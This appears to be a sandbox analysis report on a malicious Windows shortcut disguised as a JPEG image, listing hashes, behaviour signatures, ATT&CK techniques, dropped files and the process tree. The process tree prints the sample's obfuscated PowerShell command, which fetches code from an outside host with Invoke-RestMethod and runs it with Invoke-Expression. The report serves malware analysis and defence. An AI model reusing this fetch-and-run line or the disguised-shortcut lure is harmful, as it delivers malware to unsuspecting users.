e029b034a68ec6286429165990ee71f6c264ef0c5f1482e609d243d14b79ccb9

Analysis

max time kernel
150s
max time network
140s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
31/08/2026, 12:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260830_192341.jpg.lnk
Size 1KB
Sample260831-pelanshr4v
SHA256 e029b034a68ec6286429165990ee71f6c264ef0c5f1482e609d243d14b79ccb9
MD5 208ae337cee0b4b24a8743e9970634f9
SHA1 25fcc0d7a03aea1d2b0ccd9522c9fdf37aa26847
SHA512 3567260083bacbdac1bfd832217a78ff09d6108f2171afb2ee07b30abd91131dca10fbd180210d06cf673afba1645651034195e94af0fd888a660d65ba6cd5e5
TLSH
T11F31C0155BF21328D6B78B7958B693129332BA0EEA488FDF0390C1945564120FC78F3B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	4032	powershell.exe
7	4032	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5424	cmd.exe

Suspicious behavior: EnumeratesProcesses 43 IoCs

pid	Process
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4032	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 5424 wrote to memory of 4032	5424	cmd.exe	89
PID 4032 wrote to memory of 5648	4032	powershell.exe	90
PID 5648 wrote to memory of 1088	5648	csc.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260830_192341.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-RestMethod (@('p','o-guesti','f','ot','h','mage.in','o')[0,4,3,1,5,2,6] -join $EEhF) | Invoke-Expression
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4032
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fnix5uop\fnix5uop.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5648
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF2C3.tmp" "c:\Users\Admin\AppData\Local\Temp\fnix5uop\CSC4A6F29282BF4E4891751AD440DDF414.TMP"
      4⤵
      PID:1088

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RESF2C3.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESF2C3.tmp
Size 1KB
SHA256 85339b2579f34548efdca19bd63f87b57cb6521cdf68b9a46ad553e90f5233ca
MD5 e468db43cbac6c2f7ccd90d5e87ecafd
SHA1 b4253a70054dc27f3817b13fbeaa71cd42004011
SHA512 3abf1246aadc74d643d941c4e64eae0060ab981f007085218b2cc771ce398aa2f8f61cf028133ca494b1600edb5ad437879627485029de792f0f91f3d60c4360
TLSH
T1F121C94553E9472FF0B3473169F6172FA679FD68EFA2A39B854142282C41204EEA1F72
MD5 SHA1 SHA512 TLSH

Submit Download

fnix5uop.dll

Path C:\Users\Admin\AppData\Local\Temp\fnix5uop\fnix5uop.dll
Size 3KB
SHA256 6577376f8cef5c1331e180fa6bae3eecf91978d58dfac60655657c1b1720ccfc
MD5 98f8819b30d8f8b4099ab251e3a81142
SHA1 e82d1f5885576391da17051c53b4dd9048ad37e3
SHA512 8ad2cc3be074ed288a193d2d9cda5df022d996fd71dd1456ec618e51dbeb0b96a9b991d96788be9908ec176139b0d93a25a2ae7ab77699e59af3e97822955294
TLSH
T1E651CA16A3E8063BE4670734AEE3475337B8F8148FB2536A59C00229BC617149E31FB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC4A6F29282BF4E4891751AD440DDF414.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\fnix5uop\CSC4A6F29282BF4E4891751AD440DDF414.TMP
Size 652B
SHA256 eca779f9f20197b4e7070e37e06f6a97e3b964f9379e2fb716523fe6d39dcd6f
MD5 7c9417281ec693ba59052346adffb9a2
SHA1 e58e3964c8674efa6ca582b6957fd688ecff70e6
SHA512 4c7a5efa8bc3b576fdd4cdbfc7fbd5484eb375186a4228a99335fc193d4da7bc46bbffd19d68cb3eea54de74c91524596865815d21502ceae143403a95510e4c
TLSH
T19FF05E4963F8021EF0F35B30BDF6836391ADBC65DE7293EE149503192864510C962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

fnix5uop.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\fnix5uop\fnix5uop.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

fnix5uop.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\fnix5uop\fnix5uop.cmdline
Size 369B
SHA256 4e5a520c15201a68b140d2cfb429fb4c0ca12b579846ae9dfa52950e56ccd241
MD5 f872a9bb2a6185ad1eb3553ac6bb39bc
SHA1 6b59d58fa7f7e995aa61af4498c2e79574c26f9d
SHA512 11e53da4a3d6a5cf2828da1044dd67584aca39de714196789a5c0476dbf27f929111f5f9df4fa92968c2e0ebc7998c6f8f7e566d6b6fd79ff2acce8f510a964c
TLSH
T1E7E0D82A5266CA7E65D9100B216BE5ACD2FA874729C17FC4D151885EF02700467D1B95
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4032-16-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

Download

memory/4032-29-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

Download

memory/4032-2-0x00007FFA712EF000-0x00007FFA712F0000-memory.dmp

Download

memory/4032-9-0x00000260E36E0000-0x00000260E38A2000-memory.dmp

Download

memory/4032-19-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

Download

memory/4032-8-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

Download

memory/4032-7-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

Download

memory/4032-6-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

Download

memory/4032-25-0x00000260E3030000-0x00000260E3038000-memory.dmp

Download

memory/4032-5-0x00000260E2FB0000-0x00000260E2FD2000-memory.dmp

Download

memory/4032-26-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

Download

memory/4032-27-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

Download

memory/4032-28-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

Download

memory/4032-13-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

Download

memory/4032-30-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

Download

memory/4032-31-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

Download

memory/4032-33-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

Download

memory/4032-34-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

Download

memory/4032-35-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

Download

memory/4032-36-0x00007FFA71160000-0x00007FFA71B04000-memory.dmp

Download

memory/4032-41-0x00000260E3070000-0x00000260E308E000-memory.dmp

Download

memory/4032-42-0x00000260E3510000-0x00000260E35C2000-memory.dmp

Download

memory/4032-43-0x00000260E3090000-0x00000260E309A000-memory.dmp

Download

memory/4032-44-0x00000260E3080000-0x00000260E3092000-memory.dmp

Download

memory/4032-45-0x00000260E3070000-0x00000260E307A000-memory.dmp

Download